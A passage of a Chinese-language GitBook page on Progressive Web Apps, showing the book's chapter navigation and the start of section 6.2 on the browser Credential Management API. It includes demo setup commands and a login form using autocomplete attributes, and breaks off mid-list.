href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"1-manifest-json.html\">\n            \n                <a href=\"1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.7.2\" data-path=\"2-credentials-api.html\">\n            \n                <a href=\"2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"3-notification-api.html\">\n            \n                <a href=\"3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"4-web-push-api.html\">\n            \n                <a href=\"4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"5-payment-request-api.html\">\n            \n                <a href=\"5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >6.2 凭证管理 API</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x51ED;&#x8BC1;&#x7BA1;&#x7406;-api\"><b></b>&#x51ED;&#x8BC1;&#x7BA1;&#x7406; API</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x4FDD;&#x5B58;&#x7528;&#x6237;&#x51ED;&#x8BC1;\"><b></b>&#x4FDD;&#x5B58;&#x7528;&#x6237;&#x51ED;&#x8BC1;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x81EA;&#x52A8;&#x767B;&#x5F55;\"><b></b>&#x81EA;&#x52A8;&#x767B;&#x5F55;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x83B7;&#x53D6;&#x7528;&#x6237;&#x51ED;&#x8BC1;\"><b></b>&#x83B7;&#x53D6;&#x7528;&#x6237;&#x51ED;&#x8BC1;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x53D1;&#x9001;&#x51ED;&#x8BC1;&#x9A8C;&#x8BC1;&#x7528;&#x6237;\"><b></b>&#x53D1;&#x9001;&#x51ED;&#x8BC1;&#x9A8C;&#x8BC1;&#x7528;&#x6237;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x7B2C;&#x4E09;&#x65B9;&#x8D26;&#x53F7;&#x767B;&#x5F55;\"><b></b>&#x7B2C;&#x4E09;&#x65B9;&#x8D26;&#x53F7;&#x767B;&#x5F55;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x4FEE;&#x6539;&#x51ED;&#x8BC1;&#x4FE1;&#x606F;\"><b></b>&#x4FEE;&#x6539;&#x51ED;&#x8BC1;&#x4FE1;&#x606F;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x4F7F;&#x7528;&#x8D26;&#x6237;&#x9009;&#x62E9;&#x5668;&#x767B;&#x5F55;\"><b></b>&#x4F7F;&#x7528;&#x8D26;&#x6237;&#x9009;&#x62E9;&#x5668;&#x767B;&#x5F55;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5C0F;&#x7ED3;\"><b></b>&#x5C0F;&#x7ED3;</a></li></ul></ul></div><a href=\"#&#x51ED;&#x8BC1;&#x7BA1;&#x7406;-api\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x51ED;&#x8BC1;&#x7BA1;&#x7406;-api\"><a name=\"&#x51ED;&#x8BC1;&#x7BA1;&#x7406;-api\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x51ED;&#x8BC1;&#x7BA1;&#x7406;-api\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x51ED;&#x8BC1;&#x7BA1;&#x7406;-api\" class=\"plugin-anchor\" href=\"#&#x51ED;&#x8BC1;&#x7BA1;&#x7406;-api\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x51ED;&#x8BC1;&#x7BA1;&#x7406; API</h1>\n<p>&#x4E00;&#x76F4;&#x4EE5;&#x6765;&#xFF0C;&#x767B;&#x5F55;&#x7F51;&#x7AD9;&#x603B;&#x662F;&#x4E00;&#x4EF6;&#x975E;&#x5E38;&#x9EBB;&#x70E6;&#x7684;&#x4E8B;&#x60C5;&#xFF0C;&#x5C24;&#x5176;&#x662F;&#x5728;&#x79FB;&#x52A8;&#x7AEF;&#xFF0C;&#x5982;&#x679C;&#x8FC7;&#x65E9;&#x8981;&#x6C42;&#x7528;&#x6237;&#x8FDB;&#x884C;&#x767B;&#x5F55;&#xFF0C;&#x8F6C;&#x5316;&#x7387;&#x4F1A;&#x5927;&#x5927;&#x964D;&#x4F4E;&#x3002;&#x7528;&#x6237;&#x8F93;&#x5165;&#x8D26;&#x53F7;&#x5BC6;&#x7801;&#x5E76;&#x63D0;&#x4EA4;&#x7ED9;&#x670D;&#x52A1;&#x5668;&#x8FDB;&#x884C;&#x6821;&#x9A8C;&#xFF0C;&#x670D;&#x52A1;&#x5668;&#x6821;&#x9A8C;&#x901A;&#x8FC7;&#x4E4B;&#x540E;&#x5C06;&#x521B;&#x5EFA; session &#x4FDD;&#x6301;&#x4F1A;&#x8BDD;&#x3002;&#x57FA;&#x4E8E;&#x5B89;&#x5168;&#x89D2;&#x5EA6;&#x7684;&#x8003;&#x8651;&#xFF0C;&#x7528;&#x6237;&#x7684;&#x8D26;&#x53F7;&#x5BC6;&#x7801;&#x662F;&#x4E0D;&#x5141;&#x8BB8;&#x901A;&#x8FC7; JavaScript &#x5199;&#x5165;&#x672C;&#x5730;&#x5B58;&#x50A8;&#x4E4B;&#x4E2D;&#x7684;&#x3002;&#x5F53; session &#x4F1A;&#x8BDD;&#x8FC7;&#x671F;&#x65F6;&#xFF0C;&#x7528;&#x6237;&#x5C06;&#x4E0D;&#x5F97;&#x4E0D;&#x518D;&#x6B21;&#x8F93;&#x5165;&#x8D26;&#x53F7;&#x5BC6;&#x7801;&#x4FE1;&#x606F;&#x8FDB;&#x884C;&#x767B;&#x5F55;&#xFF0C;&#x4F53;&#x9A8C;&#x5F88;&#x5DEE;&#x3002;&#x4F7F;&#x7528;&#x6D4F;&#x89C8;&#x5668;&#x63D0;&#x4F9B;&#x7684;&#x51ED;&#x8BC1;&#x7BA1;&#x7406; API&#xFF08;Credential Management API&#xFF09;&#x53EF;&#x4EE5;&#x5728;&#x5B89;&#x5168;&#x4E0E;&#x4F53;&#x9A8C;&#x4E4B;&#x95F4;&#x627E;&#x5230;&#x66F4;&#x597D;&#x7684;&#x5E73;&#x8861;&#x3002;</p>\n<p>&#x5728;&#x672C;&#x8282;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x5C06;&#x4E3A; PWA &#x793A;&#x4F8B;&#x8BBE;&#x8BA1;&#x767B;&#x5F55;&#x529F;&#x80FD;&#xFF0C;&#x5C55;&#x793A;&#x4F7F;&#x7528;&#x51ED;&#x8BC1;&#x7BA1;&#x7406; API &#x662F;&#x5982;&#x4F55;&#x4F18;&#x5316;&#x7528;&#x6237;&#x767B;&#x5F55;&#x4F53;&#x9A8C;&#x7684;&#x3002;&#x5728;&#x547D;&#x4EE4;&#x884C;&#x4E2D;&#x8FD0;&#x884C;&#x5982;&#x4E0B;&#x547D;&#x4EE4;&#xFF0C;&#x4E0B;&#x8F7D;&#x793A;&#x4F8B;&#x4EE3;&#x7801;&#x5230;&#x672C;&#x5730;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token comment\"># &#x4ECE; GitHub &#x4E0B;&#x8F7D;&#x4EE3;&#x7801;&#x5230;&#x672C;&#x5730; pwa-book-demo &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">git</span> clone https://github.com/lavas-project/pwa-book-demo.git\n\n<span class=\"token comment\"># &#x8FDB;&#x5165;&#x5230; chapter06/credentials &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">cd</span> chapter06/credentials\n\n<span class=\"token comment\"># &#x5B89;&#x88C5; npm &#x4F9D;&#x8D56;</span>\n$ <span class=\"token function\">npm</span> <span class=\"token function\">install</span>\n\n<span class=\"token comment\"># &#x5B89;&#x88C5;&#x6210;&#x529F;&#x540E;&#x542F;&#x52A8; chapter06/credentials &#x793A;&#x4F8B;</span>\n$ <span class=\"token function\">npm</span> run server\n</code></pre>\n<p>&#x5728;&#x770B;&#x5230;&#x547D;&#x4EE4;&#x884C;&#x4E2D;&#x8F93;&#x51FA; <code>Server start on: http://127.0.0.1:8088</code>&#xFF0C;&#x610F;&#x5473;&#x7740;&#x5DF2;&#x7ECF;&#x6210;&#x529F;&#x542F;&#x52A8;&#xFF0C;&#x8FD9;&#x65F6;&#xFF0C;&#x6253;&#x5F00;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x8BBF;&#x95EE; <code>http://127.0.0.1:8088</code> &#x80FD;&#x770B;&#x5230;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x7684;&#x9875;&#x9762;&#x3002;&#x6211;&#x4EEC;&#x5728;&#x793A;&#x4F8B;&#x9996;&#x9875;&#x6DFB;&#x52A0;&#x4E00;&#x4E2A;&#x767B;&#x5F55;&#x6309;&#x94AE;&#xFF0C;&#x70B9;&#x51FB;&#x6309;&#x94AE;&#x4F1A;&#x8DF3;&#x8F6C;&#x81F3;&#x767B;&#x5F55;&#x9875;&#x9762;&#xFF0C;&#x7528;&#x6237;&#x5728;&#x8BE5;&#x9875;&#x9762;&#x8868;&#x5355;&#x8FDB;&#x884C;&#x8D26;&#x6237;&#x5BC6;&#x7801;&#x8F93;&#x5165;&#x3002;</p>\n<p><img src=\"img/credential-management-demo.png\" alt=\"credential-management-demo\"></p>\n<p>&#x5728;&#x7EE7;&#x7EED;&#x4F18;&#x5316;&#x4E4B;&#x524D;&#xFF0C;&#x5148;&#x901A;&#x8FC7; &#x201C;&#x81EA;&#x52A8;&#x586B;&#x5145;&#xFF08;autofill&#xFF09;&#x201D;&#x7684;&#x529F;&#x80FD;&#x6539;&#x8FDB;&#x6D4F;&#x89C8;&#x5668;&#x8868;&#x5355;&#x3002;&#x901A;&#x8FC7;&#x5BF9;&#x8868;&#x5355;&#x5143;&#x7D20;&#x589E;&#x52A0; <code>autocomplete</code>&#x5C5E;&#x6027;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x6839;&#x636E;&#x8FD9;&#x4E00;&#x5C5E;&#x6027;&#x8FDB;&#x884C;&#x8868;&#x5355;&#x7C7B;&#x578B;&#x8BC6;&#x522B;&#xFF0C;&#x5E76;&#x5C06;&#x8868;&#x5355;&#x8F93;&#x5165;&#x5185;&#x5BB9;&#x5B58;&#x50A8;&#x5230;&#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#xFF0C;&#x8FD9;&#x4E9B;&#x5B58;&#x50A8;&#x7684;&#x6570;&#x636E;&#x65E0;&#x6CD5;&#x88AB; JavaScript &#x8BBF;&#x95EE;&#x5230;&#xFF0C;&#x56E0;&#x6B64;&#x76F8;&#x5BF9;&#x5B89;&#x5168;&#x3002;&#x6BD4;&#x5982;&#x4E0B;&#x9762;&#x7684;&#x8868;&#x5355;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x5C06; autocomplete &#x6807;&#x8BC6;&#x4E3A; <code>username</code> &#x548C; <code>current-password</code> &#x7684;&#x5B57;&#x6BB5;&#x5185;&#x5BB9;&#x63D0;&#x53D6;&#x51FA;&#x6765;&#xFF0C;&#x6784;&#x9020;&#x51FA;&#x7528;&#x6237;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#x4FE1;&#x606F;&#x3002;&#x6709;&#x5173;&#x81EA;&#x52A8;&#x586B;&#x5145;&#x7684;&#x66F4;&#x8BE6;&#x7EC6;&#x7684;&#x8BF4;&#x660E;&#xFF0C;&#x8BF7;&#x53C2;&#x8003; <a href=\"https://html.spec.whatwg.org/multipage/form-control-infrastructure.html\" target=\"_blank\">Form control infrastructure</a>&#x3002;</p>\n<p>&#x5728;&#x793A;&#x4F8B;&#x6587;&#x4EF6; <code>public/login.html</code> &#x4E2D;&#x53EF;&#x4EE5;&#x67E5;&#x770B;&#x793A;&#x4F8B;&#x4E2D;&#x7684;&#x8868;&#x5355;&#x5C5E;&#x6027;&#x8BBE;&#x7F6E;&#x5982;&#x4E0B;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>form</span> <span class=\"token attr-name\">id</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>login<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>login-form<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">method</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>post<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>login-input<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>input</span> <span class=\"token attr-name\">id</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>email<span class=\"token punctuation\">&quot;</span></span>\n      <span class=\"token attr-name\">name</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>email<span class=\"token punctuation\">&quot;</span></span>\n      <span class=\"token attr-name\">type</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>email<span class=\"token punctuation\">&quot;</span></span>\n      <span class=\"token attr-name\">placeholder</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>&#x90AE;&#x7BB1;<span class=\"token punctuation\">&quot;</span></span>\n      <span class=\"token attr-name\">autocomplete</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>username email<span class=\"token punctuation\">&quot;</span></span>\n      <span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>input</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>login-input<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>input</span>\n      <span class=\"token attr-name\">id</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>password<span class=\"token punctuation\">&quot;</span></span>\n      <span class=\"token attr-name\">name</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>password<span class=\"token punctuation\">&quot;</span></span>\n      <span class=\"token attr-name\">type</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>password<span class=\"token punctuation\">&quot;</span></span>\n      <span class=\"token attr-name\">autocomplete</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>current-password<span class=\"token punctuation\">&quot;</span></span>\n      <span class=\"token attr-name\">placeholder</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>&#x5BC6;&#x7801;<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>input</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>button</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>submit-button<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">type</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>submit<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span> &#x767B;&#x5F55; <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>button</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>login-third-party<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>p</span><span class=\"token punctuation\">&gt;</span></span>&#x5176;&#x4ED6;&#x767B;&#x5F55;&#x65B9;&#x5F0F;<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>p</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>button</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>github-login-button submit-button<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">type</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>submit<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span> &#x4F7F;&#x7528; Github &#x8D26;&#x53F7;&#x767B;&#x5F55;  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>button</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>form</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x81EA;&#x52A8;&#x586B;&#x5145;&#x529F;&#x80FD;&#x5728;&#x4E00;&#x5B9A;&#x7A0B;&#x5EA6;&#x4E0A;&#x89E3;&#x51B3;&#x4E86;&#x7528;&#x6237;&#x91CD;&#x590D;&#x8F93;&#x5165;&#x8D26;&#x53F7;&#x5BC6;&#x7801;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x4F46;&#x662F;&#x8FD8;&#x5B58;&#x5728;&#x4E0D;&#x5C11;&#x9700;&#x8981;&#x6539;&#x8FDB;&#x7684;&#x5730;&#x65B9;&#x3002;</p>\n<ol>\n<li>&#x91C7;&#x7528;&#x7B2C;&#x4E09;&#x65B9;&#x8D26;&#x53F7;&#x767B;&#x5F55;&#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x7531;&#x4E8E;&#x767B;&#x5F55;&#x6D41;&#x7A0B;&#x4E0D;&#x6D89;&#x53CA;&#x8868;&#x5355;&#x586B;&#x5145;&#xFF0C;&#x56E0;&#x6B64;&#x65E0;&#x6CD5;&#x89E6;&#x53D1;&#x81EA;&#x52A8;&#x586B;&#x5145;&#x529F;&#x80FD;&#xFF1B;</li>\n<li>&#x5BF9;&#x4E8E;&#x91C7;&#x7528; AJAX&#x3001;Fetch 